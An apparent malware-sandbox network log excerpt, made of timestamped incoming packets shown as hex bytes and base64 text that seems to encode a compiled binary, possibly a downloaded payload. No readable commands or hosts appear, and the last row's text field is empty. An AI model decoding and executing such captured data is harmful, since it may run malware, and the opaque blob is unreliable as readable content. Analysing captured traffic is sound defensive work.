2023-04-20 23:03:01 UTC	6372	IN	Data Raw: 30 79 76 33 4a 58 2f 70 70 53 49 36 7a 76 31 64 71 51 57 53 76 4a 4f 66 39 6f 36 75 6b 34 37 72 4b 64 57 78 4a 68 43 6e 77 70 72 73 67 77 4e 39 53 61 4f 79 33 6d 65 63 37 61 4b 67 42 63 4b 5a 4f 67 6c 53 62 73 65 61 74 52 4d 65 68 4b 6d 76 75 35 6a 39 71 4e 51 74 74 48 6a 6d 6d 6e 52 78 44 63 36 44 6e 73 6f 6b 65 61 48 58 58 2f 57 4e 6b 65 36 50 6f 4b 67 6c 6b 49 67 31 77 56 42 58 66 78 53 76 2b 59 46 6a 39 31 7a 71 61 31 49 46 49 46 62 71 34 66 5a 76 6e 64 65 51 35 56 41 71 37 73 57 55 64 50 52 37 6a 6d 44 66 35 56 65 7a 32 4d 70 53 48 64 79 42 67 77 69 72 4d 47 45 47 44 6d 77 33 58 74 63 6a 6c 6f 43 51 58 67 41 32 6c 42 50 30 4f 57 55 76 75 4e 51 72 64 72 73 6b 79 77 75 59 72 32 47 46 63 37 61 46 4e 44 35 6f 56 6f 4c 51 47 2f 67 65 58 4c 64 4e 76 7a 74 Data Ascii: 0yv3JX/ppSI6zv1dqQWSvJOf9o6uk47rKdWxJhCnwprsgwN9SaOy3mec7aKgBcKZOglSbseatRMehKmvu5j9qNQttHjmmnRxDc6DnsokeaHXX/WNke6PoKglkIg1wVBXfxSv+YFj91zqa1IFIFbq4fZvndeQ5VAq7sWUdPR7jmDf5Vez2MpSHdyBgwirMGEGDmw3XtcjloCQXgA2lBP0OWUvuNQrdrskywuYr2GFc7aFND5oVoLQG/geXLdNvzt
2023-04-20 23:03:01 UTC	6388	IN	Data Raw: 43 4d 6a 49 45 32 30 79 70 55 33 59 31 55 5a 59 56 73 59 6a 63 53 4a 4d 35 49 61 39 30 4d 4e 43 73 42 69 61 65 4a 72 43 67 39 6e 36 77 52 57 6b 78 6b 68 6b 68 4c 37 49 50 5a 57 6f 4e 37 6b 58 76 38 57 6c 6c 61 36 6e 33 6b 74 36 4b 55 4b 38 31 52 41 42 79 65 6b 50 4b 75 62 70 6b 78 36 62 4a 36 70 41 6c 42 74 2b 53 76 48 35 65 39 4b 6d 45 58 4f 63 59 45 4c 69 54 6c 61 4b 54 71 66 56 79 74 65 61 61 47 73 32 56 76 4a 4c 55 76 55 6c 2b 70 58 7a 46 45 6a 70 71 67 4c 53 45 35 2b 47 34 43 58 4b 4e 34 51 69 5a 61 76 66 2f 58 41 55 56 49 69 56 75 72 39 74 6b 76 76 36 5a 7a 56 62 46 58 6b 76 37 51 47 69 79 75 63 61 49 37 6f 70 78 6e 48 4d 53 51 43 53 4d 47 37 33 46 78 79 32 35 6a 56 61 6a 2b 63 61 73 6f 70 65 4e 55 79 4f 62 7a 54 76 51 41 37 54 42 39 36 48 72 77 6a Data Ascii: CMjIE20ypU3Y1UZYVsYjcSJM5Ia90MNCsBiaeJrCg9n6wRWkxkhkhL7IPZWoN7kXv8Wlla6n3kt6KUK81RAByekPKubpkx6bJ6pAlBt+SvH5e9KmEXOcYELiTlaKTqfVyteaaGs2VvJLUvUl+pXzFEjpqgLSE5+G4CXKN4QiZavf/XAUVIiVur9tkvv6ZzVbFXkv7QGiyucaI7opxnHMSQCSMG73Fxy25jVaj+casopeNUyObzTvQA7TB96Hrwj
2023-04-20 23:03:01 UTC	6404	IN	Data Raw: 56 44 53 55 4d 63 52 4e 30 70 35 55 35 64 50 47 76 47 53 65 64 48 37 78 4a 58 74 6f 58 62 30 52 53 77 59 64 78 7a 59 39 57 62 4e 73 6c 73 50 71 66 57 30 59 2b 6e 79 38 35 43 41 79 6d 42 30 6b 67 4d 7a 75 4e 32 5a 32 55 38 36 5a 66 64 38 36 54 57 6d 39 71 45 30 53 62 59 39 4d 63 78 6f 6d 51 48 34 6c 2f 35 68 4d 74 51 53 53 53 4d 46 30 35 41 6a 59 51 32 57 70 76 41 32 65 4b 45 67 58 64 35 43 39 4a 6d 39 37 38 30 43 54 71 46 46 56 78 69 65 57 5a 6a 37 74 62 6b 4b 73 69 59 6c 69 50 49 4b 33 5a 7a 51 5a 36 6f 63 6e 54 6e 53 57 6f 50 48 67 33 78 75 30 35 43 39 72 55 43 77 38 4d 48 6f 4e 39 48 70 64 45 4b 6a 45 66 58 6a 51 50 37 33 31 5a 54 6e 54 4d 57 45 55 62 34 4e 56 52 77 4a 69 6d 73 31 4f 65 78 71 37 5a 79 5a 59 62 50 42 4b 39 4c 69 7a 54 6e 6e 64 5a 31 77 Data Ascii: VDSUMcRN0p5U5dPGvGSedH7xJXtoXb0RSwYdxzY9WbNslsPqfW0Y+ny85CAymB0kgMzuN2Z2U86Zfd86TWm9qE0SbY9McxomQH4l/5hMtQSSSMF05AjYQ2WpvA2eKEgXd5C9Jm9780CTqFFVxieWZj7tbkKsiYliPIK3ZzQZ6ocnTnSWoPHg3xu05C9rUCw8MHoN9HpdEKjEfXjQP731ZTnTMWEUb4NVRwJims1Oexq7ZyZYbPBK9LizTnndZ1w
2023-04-20 23:03:01 UTC	6420	IN	Data Raw: 69 4f 77 61 62 5a 7a 45 67 41 65 4b 6a 59 32 57 36 6b 77 48 6d 55 49 42 65 72 47 72 49 58 76 49 43 45 43 56 61 55 63 57 7a 6e 2b 76 46 69 34 49 4b 6f 4b 72 74 47 2f 50 68 69 37 55 54 51 2f 6b 41 45 33 39 78 4d 2b 68 49 63 6c 4e 32 4c 55 31 36 37 4f 66 39 30 6d 53 76 43 37 68 43 31 67 32 6c 63 71 74 48 4d 61 74 4a 32 50 44 76 33 45 55 6a 51 79 2f 55 74 53 42 49 37 4b 30 73 7a 6f 30 78 41 32 43 74 68 51 58 73 6b 6a 62 55 38 38 63 61 52 74 4b 47 63 58 59 5a 54 47 6b 30 59 63 4f 5a 6d 4b 51 58 50 6c 44 36 30 6a 32 43 6f 51 54 46 79 72 33 48 6e 4a 49 2b 6e 79 4e 77 4e 5a 42 55 41 77 44 56 58 59 6b 38 34 36 53 70 48 78 67 68 79 2b 70 79 76 61 2f 43 48 79 4b 6e 62 78 67 4f 49 4d 47 36 4d 72 4b 49 79 2f 7a 78 66 6b 61 2b 78 74 54 2f 73 36 43 58 68 77 37 77 70 37 Data Ascii: iOwabZzEgAeKjY2W6kwHmUIBerGrIXvICECVaUcWzn+vFi4IKoKrtG/Phi7UTQ/kAE39xM+hIclN2LU167Of90mSvC7hC1g2lcqtHMatJ2PDv3EUjQy/UtSBI7K0szo0xA2CthQXskjbU88caRtKGcXYZTGk0YcOZmKQXPlD60j2CoQTFyr3HnJI+nyNwNZBUAwDVXYk846SpHxghy+pyva/CHyKnbxgOIMG6MrKIy/zxfka+xtT/s6CXhw7wp7
2023-04-20 23:03:01 UTC	6436	IN	Data Raw: 78 62 4f 39 72 71 62 62 72 71 73 2b 41 30 52 30 46 63 47 31 57 31 47 56 5a 72 4c 30 68 4d 74 41 71 4c 67 72 6f 55 4c 56 43 63 49 71 58 42 6a 54 49 43 72 52 2b 48 43 48 6d 37 66 4a 33 2f 39 77 44 39 51 6e 69 49 56 42 55 71 48 74 75 42 61 38 7a 5a 4b 35 54 64 6e 2b 65 4b 65 53 6a 61 2b 59 4c 2b 44 67 63 43 65 32 59 62 4c 4c 49 45 72 59 34 4c 55 51 77 30 74 49 44 61 58 71 37 66 35 48 76 6b 2f 56 6c 4f 55 45 31 48 51 58 77 32 77 49 38 32 69 62 33 37 57 6d 46 62 44 30 71 52 59 7a 57 47 47 6a 63 32 4b 68 61 4c 30 6d 59 38 51 57 76 63 72 34 50 59 4a 33 2f 6a 79 4b 5a 42 6f 68 64 4f 63 75 57 53 56 4a 64 54 4e 44 59 72 59 2b 44 59 44 4c 68 41 50 4b 31 4a 6e 66 4c 4d 2f 47 4a 74 5a 72 4d 6f 42 6f 71 59 2f 6a 4a 38 4f 51 31 6c 55 42 77 78 57 38 54 4c 61 4a 51 30 4a Data Ascii: xbO9rqbbrqs+A0R0FcG1W1GVZrL0hMtAqLgroULVCcIqXBjTICrR+HCHm7fJ3/9wD9QniIVBUqHtuBa8zZK5Tdn+eKeSja+YL+DgcCe2YbLLIErY4LUQw0tIDaXq7f5Hvk/VlOUE1HQXw2wI82ib37WmFbD0qRYzWGGjc2KhaL0mY8QWvcr4PYJ3/jyKZBohdOcuWSVJdTNDYrY+DYDLhAPK1JnfLM/GJtZrMoBoqY/jJ8OQ1lUBwxW8TLaJQ0J
2023-04-20 23:03:01 UTC	6452	IN	Data Raw: 63 37 63 62 67 66 6c 56 43 62 6e 6d 70 30 6a 48 6f 39 43 53 43 6c 64 6a 75 51 6e 54 47 78 4e 77 66 42 59 53 67 68 4c 48 74 6a 6d 39 4b 66 37 76 51 4a 76 64 74 2f 67 55 4a 58 6f 77 46 4c 71 4e 76 37 76 61 78 30 38 63 55 58 59 6a 62 43 45 4b 36 62 56 56 52 61 72 75 64 52 33 4f 4e 44 6c 77 58 52 78 4d 75 55 68 7a 43 46 74 70 6a 55 69 63 52 55 4f 6d 76 68 42 4b 79 67 53 6b 56 4b 4a 64 78 32 62 6d 46 65 6c 6b 7a 76 54 69 6a 54 38 41 45 4d 6b 4c 67 4c 49 78 4b 63 4d 43 30 59 6c 49 37 7a 37 65 6f 48 77 79 43 6b 4e 71 37 4b 38 53 30 63 6e 4d 6f 35 47 4b 4e 67 30 36 4b 4c 72 45 75 6d 37 78 71 79 77 2f 51 6a 65 6d 44 34 45 68 32 71 30 48 74 37 32 51 6b 46 64 7a 7a 45 45 37 63 64 6d 47 42 4d 77 58 42 73 2f 45 77 57 69 55 45 6a 37 46 35 50 42 79 76 41 46 76 78 69 4b Data Ascii: c7cbgflVCbnmp0jHo9CSCldjuQnTGxNwfBYSghLHtjm9Kf7vQJvdt/gUJXowFLqNv7vax08cUXYjbCEK6bVVRarudR3ONDlwXRxMuUhzCFtpjUicRUOmvhBKygSkVKJdx2bmFelkzvTijT8AEMkLgLIxKcMC0YlI7z7eoHwyCkNq7K8S0cnMo5GKNg06KLrEum7xqyw/QjemD4Eh2q0Ht72QkFdzzEE7cdmGBMwXBs/EwWiUEj7F5PByvAFvxiK
2023-04-20 23:03:01 UTC	6468	IN	Data Raw: 48 48 75 4d 4a 49 41 42 4a 31 69 77 38 48 59 4e 78 4d 53 51 57 43 45 64 51 34 6b 58 42 45 42 57 34 6f 4f 6d 46 34 65 63 78 49 46 73 45 34 75 4d 4b 6c 6e 54 43 51 4b 43 50 67 6f 30 59 79 4d 76 39 41 71 30 48 6c 4f 69 4b 57 7a 7a 2b 49 31 30 2b 77 34 54 74 59 54 2b 6d 74 2b 71 51 75 42 54 2b 30 42 35 71 79 63 76 52 6f 69 4c 43 34 78 2b 46 64 6d 4a 4b 7a 65 37 35 34 7a 68 72 2f 45 6f 2b 35 63 72 4b 66 59 4b 63 4e 49 69 71 75 71 50 48 2b 46 6a 6c 32 48 75 43 66 46 2f 6f 64 4a 6d 64 69 5a 68 67 36 75 76 72 49 53 4a 47 37 74 58 52 59 6c 61 56 41 63 6c 69 6b 5a 47 4d 6d 63 39 72 7a 7a 56 6c 50 44 6d 50 61 76 6a 67 70 2b 66 57 41 78 67 59 78 55 4f 62 38 35 4e 36 63 74 4a 68 66 2b 56 36 45 76 44 6b 43 55 70 38 2b 5a 74 6d 7a 56 54 76 46 6e 54 58 38 4c 49 30 69 50 Data Ascii: HHuMJIABJ1iw8HYNxMSQWCEdQ4kXBEBW4oOmF4ecxIFsE4uMKlnTCQKCPgo0YyMv9Aq0HlOiKWzz+I10+w4TtYT+mt+qQuBT+0B5qycvRoiLC4x+FdmJKze754zhr/Eo+5crKfYKcNIiquqPH+Fjl2HuCfF/odJmdiZhg6uvrISJG7tXRYlaVAclikZGMmc9rzzVlPDmPavjgp+fWAxgYxUOb85N6ctJhf+V6EvDkCUp8+ZtmzVTvFnTX8LI0iP
2023-04-20 23:03:01 UTC	6484	IN	Data Raw: 6a 76 71 4a 5a 47 2f 62 53 6e 6e 6d 35 54 49 6b 6e 77 50 68 52 63 63 52 67 58 57 39 54 76 4c 6e 64 77 68 35 54 6c 46 72 51 53 76 41 4f 78 57 56 59 75 74 75 6a 34 61 42 6d 30 59 57 42 6a 59 42 4b 64 61 6e 42 37 58 34 42 62 4b 72 45 7a 6c 64 6c 37 4c 43 6d 61 43 30 75 6a 7a 31 75 38 61 4f 6b 78 6f 4e 4b 6f 5a 5a 72 42 65 70 51 4a 54 52 58 55 35 52 43 70 37 54 41 49 56 42 37 48 65 72 4f 39 55 6a 66 67 57 5a 66 4a 75 73 75 42 34 74 52 35 37 34 47 56 75 45 30 6a 4b 72 39 69 50 4b 38 53 73 68 4e 31 6b 51 4c 6d 51 78 47 6d 32 49 39 4e 33 51 35 34 54 55 4d 48 66 47 53 70 78 70 35 78 41 5a 37 49 6e 49 35 4a 37 70 67 42 72 39 59 41 6a 67 39 49 43 4b 53 6d 30 43 34 66 55 4f 71 51 41 31 6c 57 37 79 36 4e 57 55 54 46 79 52 45 6f 33 61 71 6a 74 4a 77 4d 37 30 57 52 62 Data Ascii: jvqJZG/bSnnm5TIknwPhRccRgXW9TvLndwh5TlFrQSvAOxWVYutuj4aBm0YWBjYBKdanB7X4BbKrEzldl7LCmaC0ujz1u8aOkxoNKoZZrBepQJTRXU5RCp7TAIVB7HerO9UjfgWZfJusuB4tR574GVuE0jKr9iPK8SshN1kQLmQxGm2I9N3Q54TUMHfGSpxp5xAZ7InI5J7pgBr9YAjg9ICKSm0C4fUOqQA1lW7y6NWUTFyREo3aqjtJwM70WRb
2023-04-20 23:03:01 UTC	6500	IN	Data Raw: 35 48 42 6b 70 73 31 4f 31 4b 49 79 7a 4b 49 6d 48 71 78 4d 5a 58 63 49 37 54 6c 4b 68 68 45 33 55 74 5a 44 41 33 4f 4f 77 59 4a 76 64 68 47 42 65 39 34 6a 2f 69 52 45 4f 75 54 78 71 77 48 62 64 66 74 72 65 2b 74 4f 46 76 6b 34 30 39 4b 74 6b 50 67 73 59 65 56 7a 4a 61 4c 4f 54 76 61 67 49 4d 4d 37 54 6c 2b 73 64 34 41 51 42 77 72 4c 66 71 4e 31 59 6c 31 39 35 6e 73 47 30 51 38 61 6d 6a 71 6d 71 36 75 72 6a 4f 67 58 76 63 58 73 44 44 73 57 72 4e 67 6d 50 43 53 4e 7a 76 4b 33 5a 52 32 31 4a 6b 41 4d 51 2b 52 36 31 39 37 79 34 6c 75 7a 31 4f 41 45 4e 44 47 75 45 72 59 37 75 49 66 65 32 4d 2f 50 5a 34 79 61 6d 4c 36 47 43 55 57 37 6e 55 70 6d 52 42 57 65 2f 52 63 79 4c 2b 79 2f 50 56 6f 35 32 51 4f 48 51 79 4c 7a 38 65 73 4d 62 67 6e 6c 68 2f 74 71 74 53 71 Data Ascii: 5HBkps1O1KIyzKImHqxMZXcI7TlKhhE3UtZDA3OOwYJvdhGBe94j/iREOuTxqwHbdftre+tOFvk409KtkPgsYeVzJaLOTvagIMM7Tl+sd4AQBwrLfqN1Yl195nsG0Q8amjqmq6urjOgXvcXsDDsWrNgmPCSNzvK3ZR21JkAMQ+R6197y4luz1OAENDGuErY7uIfe2M/PZ4yamL6GCUW7nUpmRBWe/RcyL+y/PVo52QOHQyLz8esMbgnlh/tqtSq
2023-04-20 23:03:01 UTC	6516	IN	Data Raw: 6e 4b 77 51 41 43 73 74 39 44 69 73 6d 4a 67 73 74 47 77 6f 41 41 6f 39 76 43 67 41 43 6a 69 67 43 4a 69 59 55 4c 52 67 44 41 67 6f 41 41 45 6b 6f 41 67 41 41 41 41 41 41 41 41 41 75 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 59 41 45 72 34 6f 4a 67 67 73 46 68 6f 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 62 76 4b 77 6f 44 4b 77 51 41 43 73 6c 39 42 41 41 4b 79 58 73 43 42 69 59 50 4c 52 30 47 41 42 4b 34 63 78 62 30 4b 77 72 79 4b 77 51 41 43 73 5a 39 4a 53 73 6d 43 69 30 62 41 69 59 6d 43 53 30 65 46 67 49 59 4d 77 6f 41 41 6f 39 76 43 67 41 43 6a 69 67 45 41 41 72 49 65 77 49 71 4d 2f 34 66 42 41 41 4b 78 6e 73 43 45 51 41 43 53 41 41 41 41 46 45 41 42 54 41 54 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 4b 78 33 Data Ascii: nKwQACst9DismJgstGwoAAo9vCgACjigCJiYULRgDAgoAAEkoAgAAAAAAAAAuAAkwAwAAACr2KyYDKwYAEr4oJggsFhoCAAAAAAAAABEACjADAAAAKgbvKwoDKwQACsl9BAAKyXsCBiYPLR0GABK4cxb0KwryKwQACsZ9JSsmCi0bAiYmCS0eFgIYMwoAAo9vCgACjigEAArIewIqM/4fBAAKxnsCEQACSAAAAFEABTATAAAAKvYrJgMrBAAKx3
2023-04-20 23:03:01 UTC	6532	IN	Data Raw: 47 4a 69 59 4c 4c 52 79 59 57 41 59 45 41 77 4c 37 4b 77 6f 68 4b 79 59 44 4c 52 77 57 45 51 41 41 42 77 41 41 41 43 30 41 42 6a 41 54 41 41 42 36 43 67 41 41 6d 33 4d 47 41 41 6c 4c 4b 44 56 4b 62 44 49 67 4b 67 51 41 43 6e 5a 39 57 42 6f 45 41 41 70 32 65 77 49 43 43 67 41 43 63 6d 38 47 41 42 49 51 4b 46 70 70 41 77 41 41 2f 2f 38 67 41 67 51 41 43 6e 4e 37 41 69 67 7a 41 41 44 2f 2f 69 41 47 41 41 63 36 62 77 59 41 45 68 51 6f 41 6a 6f 7a 49 42 38 47 41 41 64 41 62 77 59 41 45 68 51 6f 41 69 6f 41 4b 77 51 41 43 6e 5a 39 75 79 73 4b 43 69 73 6d 4a 67 63 74 46 31 67 5a 42 41 41 4b 64 6e 73 43 41 67 6f 41 41 6e 4a 76 42 41 41 4b 65 58 73 43 42 41 41 4b 63 33 73 43 6e 4a 45 5a 42 68 59 45 41 41 70 35 65 77 4b 63 6b 52 67 47 46 77 51 41 43 6e 6c 37 41 70 Data Ascii: GJiYLLRyYWAYEAwL7KwohKyYDLRwWEQAABwAAAC0ABjATAAB6CgAAm3MGAAlLKDVKbDIgKgQACnZ9WBoEAAp2ewICCgACcm8GABIQKFppAwAA//8gAgQACnN7AigzAAD//iAGAAc6bwYAEhQoAjozIB8GAAdAbwYAEhQoAioAKwQACnZ9uysKCismJgctF1gZBAAKdnsCAgoAAnJvBAAKeXsCBAAKc3sCnJEZBhYEAAp5ewKckRgGFwQACnl7Ap
2023-04-20 23:03:01 UTC	6548	IN	Data Raw: 49 38 44 4d 61 42 42 45 45 45 31 67 58 42 42 47 65 46 67 51 52 42 67 73 72 42 42 4d 57 78 44 4d 67 48 77 55 52 42 52 4e 59 46 77 55 52 43 31 6c 68 57 4a 52 66 47 51 6b 47 43 56 67 49 59 57 4d 62 43 47 49 61 43 41 63 4e 57 51 63 52 43 51 78 5a 59 56 69 55 58 78 6c 6a 43 78 38 4a 42 67 6c 59 42 32 46 6a 47 77 64 69 47 67 63 49 36 43 73 4e 32 53 73 48 45 38 6b 72 44 4d 49 72 43 2f 2f 2f 2f 33 45 34 43 6b 6b 72 42 52 4d 57 4a 68 59 74 46 57 56 6d 5a 6d 56 6d 5a 57 5a 6c 5a 6a 6b 51 79 4e 30 67 4a 69 51 74 48 6d 56 6d 5a 57 5a 6c 5a 6d 56 6d 5a 6d 56 6d 59 63 69 47 53 53 41 6d 4e 53 30 59 42 41 41 4b 46 6e 73 43 4a 6a 77 73 46 67 51 41 43 68 56 37 41 70 35 6d 5a 57 56 6d 5a 57 5a 6d 5a 57 56 6d 5a 70 76 4a 7a 76 4d 67 46 67 61 65 5a 57 5a 6c 5a 6d 5a 6c 5a 57 Data Ascii: I8DMaBBEEE1gXBBGeFgQRBgsrBBMWxDMgHwURBRNYFwURC1lhWJRfGQkGCVgIYWMbCGIaCAcNWQcRCQxZYViUXxljCx8JBglYB2FjGwdiGgcI6CsN2SsHE8krDMIrC////3E4CkkrBRMWJhYtFWVmZmVmZWZlZjkQyN0gJiQtHmVmZWZlZmVmZmVmYciGSSAmNS0YBAAKFnsCJjwsFgQAChV7Ap5mZWVmZWZmZWVmZpvJzvMgFgaeZWZlZmZlZW
2023-04-20 23:03:01 UTC	6564	IN	Data Raw: 41 4b 76 59 72 4a 67 4d 72 43 67 41 44 31 43 67 6d 43 43 30 5a 47 67 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 4b 41 41 50 69 4b 43 59 49 4c 42 59 5a 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 6f 41 41 39 55 6f 4a 67 67 74 47 42 6f 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 43 6f 57 43 67 41 41 41 43 72 32 4b 79 59 44 4b 77 6f 41 42 49 51 6f 4a 67 67 73 46 68 67 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 43 67 41 45 67 79 67 6d 43 43 30 59 48 51 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 4b 41 41 53 43 4b 43 59 49 4c 52 77 57 41 67 41 41 41 41 41 41 41 41 41 52 41 41 Data Ascii: AKvYrJgMrCgAD1CgmCC0ZGgIAAAAAAAAAEQAKMAMAAAAq9ismAysKAAPiKCYILBYZAgAAAAAAAAARAAowAwAAACr2KyYDKwoAA9UoJggtGBoCAAAAAAAAABEACjADACoWCgAAACr2KyYDKwoABIQoJggsFhgCAAAAAAAAABEACjADAAAAKvYrJgMrCgAEgygmCC0YHQIAAAAAAAAAEQAKMAMAAAAq9ismAysKAASCKCYILRwWAgAAAAAAAAARAA
2023-04-20 23:03:01 UTC	6580	IN	Data Raw: 61 43 61 42 62 54 77 41 41 41 43 4a 72 59 4a 45 4a 42 41 41 45 45 33 73 43 59 47 49 65 6b 56 67 58 43 51 51 41 42 42 4e 37 41 6d 42 69 45 42 2b 52 57 42 67 4a 42 41 41 45 45 33 73 43 59 68 67 66 5a 35 46 59 47 51 6b 45 41 41 51 54 65 77 49 4d 57 42 63 6c 43 41 50 74 4b 77 76 5a 4b 77 59 41 42 39 30 6f 32 53 73 4b 55 53 73 4e 46 67 77 45 4a 68 45 74 47 77 59 41 45 4e 4a 76 42 68 59 45 41 41 51 54 65 77 49 45 41 41 51 52 65 77 49 6d 4a 69 49 73 46 67 59 43 4a 69 55 74 48 46 6f 61 42 52 45 41 41 49 77 41 41 41 43 45 41 41 6b 77 45 77 41 41 4b 76 4d 72 4a 76 41 72 4a 67 59 72 42 67 41 48 32 69 67 6d 43 79 77 57 47 67 4d 6d 44 69 30 65 47 67 49 41 41 41 41 41 41 41 41 41 47 67 41 4b 4d 41 4d 41 4b 67 41 72 43 67 41 41 67 43 67 48 4b 79 59 6d 42 43 77 57 41 77 Data Ascii: aCaBbTwAAACJrYJEJBAAEE3sCYGIekVgXCQQABBN7AmBiEB+RWBgJBAAEE3sCYhgfZ5FYGQkEAAQTewIMWBclCAPtKwvZKwYAB90o2SsKUSsNFgwEJhEtGwYAENJvBhYEAAQTewIEAAQRewImJiIsFgYCJiUtHFoaBREAAIwAAACEAAkwEwAAKvMrJvArJgYrBgAH2igmCywWGgMmDi0eGgIAAAAAAAAAGgAKMAMAKgArCgAAgCgHKyYmBCwWAw
2023-04-20 23:03:01 UTC	6596	IN	Data Raw: 72 43 67 4d 72 4a 67 4d 73 46 67 51 41 43 54 4e 37 41 68 45 41 41 66 41 41 41 41 41 2f 41 41 51 77 45 77 41 41 41 43 6f 41 4b 77 51 41 43 54 4a 39 42 79 73 6d 4a 67 51 74 48 51 4d 43 41 41 41 41 41 41 41 41 41 42 45 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 4a 4d 6e 73 6d 43 43 30 56 47 67 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 79 79 73 45 41 41 6b 75 66 63 45 72 42 41 41 4a 4d 48 32 33 4b 77 51 41 43 53 31 39 46 53 73 45 41 41 6b 78 66 51 59 41 43 4c 52 76 42 41 41 4a 4c 6e 73 43 4a 51 59 41 43 4c 4a 7a 41 67 59 41 44 32 30 6f 42 41 49 6d 4a 6a 41 73 46 67 45 41 41 4f 36 4e 42 41 41 4a 4d 48 73 43 41 69 59 6d 4f 69 30 5a 42 67 41 48 50 47 38 47 41 41 72 45 62 77 4d 43 4a 69 5a 45 4c 52 6f 44 41 67 6f 41 41 45 Data Ascii: rCgMrJgMsFgQACTN7AhEAAfAAAAA/AAQwEwAAACoAKwQACTJ9BysmJgQtHQMCAAAAAAAAABEACTADAAAAKvYrJgMrBAAJMnsmCC0VGgIAAAAAAAAAEQAKMAMAAAAqyysEAAkufcErBAAJMH23KwQACS19FSsEAAkxfQYACLRvBAAJLnsCJQYACLJzAgYAD20oBAImJjAsFgEAAO6NBAAJMHsCAiYmOi0ZBgAHPG8GAArEbwMCJiZELRoDAgoAAE
2023-04-20 23:03:01 UTC	6612	IN	Data Raw: 41 43 4c 39 37 4a 67 67 74 48 42 73 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 71 33 43 73 45 41 41 69 2b 66 64 67 72 42 41 41 49 76 58 33 55 4b 77 51 41 43 4c 78 39 46 53 73 47 41 41 36 36 4b 41 4d 43 43 67 41 41 53 53 67 43 4a 69 59 66 4c 52 30 47 41 41 4c 76 63 77 49 6d 4a 69 4d 74 47 67 6f 41 42 4c 4a 7a 41 69 59 6d 4a 79 77 57 43 67 41 41 39 48 4d 43 41 41 41 41 41 41 41 41 41 45 59 41 43 54 41 44 41 43 72 6f 4b 79 59 44 4b 77 59 41 43 72 68 76 42 43 55 47 41 41 71 32 62 77 4d 6c 42 67 41 4b 73 6e 4d 6d 46 69 30 58 46 67 49 71 41 43 73 6d 41 79 73 6d 41 79 30 65 46 67 4c 75 4b 79 59 44 4b 78 45 7a 47 41 59 41 42 7a 78 76 42 67 41 4b 78 47 38 6d 45 43 30 63 46 77 49 41 41 41 41 41 41 41 41 41 51 77 41 4b 4d 41 4d 41 4b 75 67 72 4a 67 Data Ascii: ACL97JggtHBsCAAAAAAAAABEACjADAAAq3CsEAAi+fdgrBAAIvX3UKwQACLx9FSsGAA66KAMCCgAASSgCJiYfLR0GAALvcwImJiMtGgoABLJzAiYmJywWCgAA9HMCAAAAAAAAAEYACTADACroKyYDKwYACrhvBCUGAAq2bwMlBgAKsnMmFi0XFgIqACsmAysmAy0eFgLuKyYDKxEzGAYABzxvBgAKxG8mEC0cFwIAAAAAAAAAQwAKMAMAKugrJg
2023-04-20 23:03:01 UTC	6628	IN	Data Raw: 49 53 6e 30 57 41 69 59 6d 46 53 30 61 42 67 41 51 30 6d 38 47 46 67 51 41 43 45 74 37 41 67 4d 43 4a 69 59 69 4c 52 55 47 41 41 6b 71 4b 41 59 45 41 41 68 4c 65 77 49 43 4a 6a 41 74 47 6c 6f 63 42 42 45 41 41 41 63 41 41 41 42 49 41 41 63 77 45 77 41 41 41 43 6f 57 4b 76 4d 72 4a 67 4d 72 41 66 34 59 42 67 41 48 50 47 38 6d 43 79 30 64 48 41 50 79 4b 79 59 44 4b 78 6b 7a 47 42 38 47 41 41 64 41 62 79 59 4d 4c 52 30 62 41 2f 4d 72 4a 67 4d 72 4c 54 4d 58 42 67 41 48 4f 6d 38 6d 43 79 30 62 46 77 4d 41 41 41 41 41 41 41 41 41 50 51 41 4b 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 4b 41 41 42 4a 4b 43 59 49 4c 52 67 65 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 41 41 49 41 62 42 50 41 57 45 41 41 67 41 41 41 41 41 49 41 56 41 70 41 53 Data Ascii: ISn0WAiYmFS0aBgAQ0m8GFgQACEt7AgMCJiYiLRUGAAkqKAYEAAhLewICJjAtGlocBBEAAAcAAABIAAcwEwAAACoWKvMrJgMrAf4YBgAHPG8mCy0dHAPyKyYDKxkzGB8GAAdAbyYMLR0bA/MrJgMrLTMXBgAHOm8mCy0bFwMAAAAAAAAAPQAKMAMAAAAq9ismAysKAABJKCYILRgeAgAAAAAAAAARAAowAwAAAAAIAbBPAWEAAgAAAAAIAVApAS
2023-04-20 23:03:01 UTC	6644	IN	Data Raw: 37 56 45 51 74 47 43 4d 4e 41 41 41 41 41 41 41 41 41 41 41 6a 44 41 41 41 41 41 41 41 41 41 41 41 49 77 74 62 47 41 63 52 42 78 4e 61 42 41 41 48 73 33 73 43 42 42 45 45 41 41 65 76 66 51 51 52 41 74 41 72 43 52 50 46 4b 77 51 41 42 36 6c 39 78 53 73 45 41 41 65 7a 66 52 49 72 41 41 41 42 50 30 41 4a 45 57 6d 4f 42 41 41 48 72 58 73 43 4b 77 41 41 54 43 67 4a 45 51 51 41 42 36 31 38 41 69 59 74 4c 52 31 61 42 41 41 48 73 33 73 43 57 42 63 45 45 53 59 6d 4e 69 77 57 41 77 49 6d 4a 6a 59 74 48 51 67 52 41 67 41 41 41 59 41 37 43 42 45 45 41 41 65 7a 65 77 49 4e 4d 77 51 52 42 41 41 48 72 33 73 43 37 53 73 49 45 2b 63 72 42 42 4d 49 4b 79 45 7a 41 77 51 41 42 36 6c 37 41 69 59 51 4c 52 6b 45 41 41 65 32 65 77 49 6d 46 69 30 5a 42 41 41 48 74 48 73 43 45 51 Data Ascii: 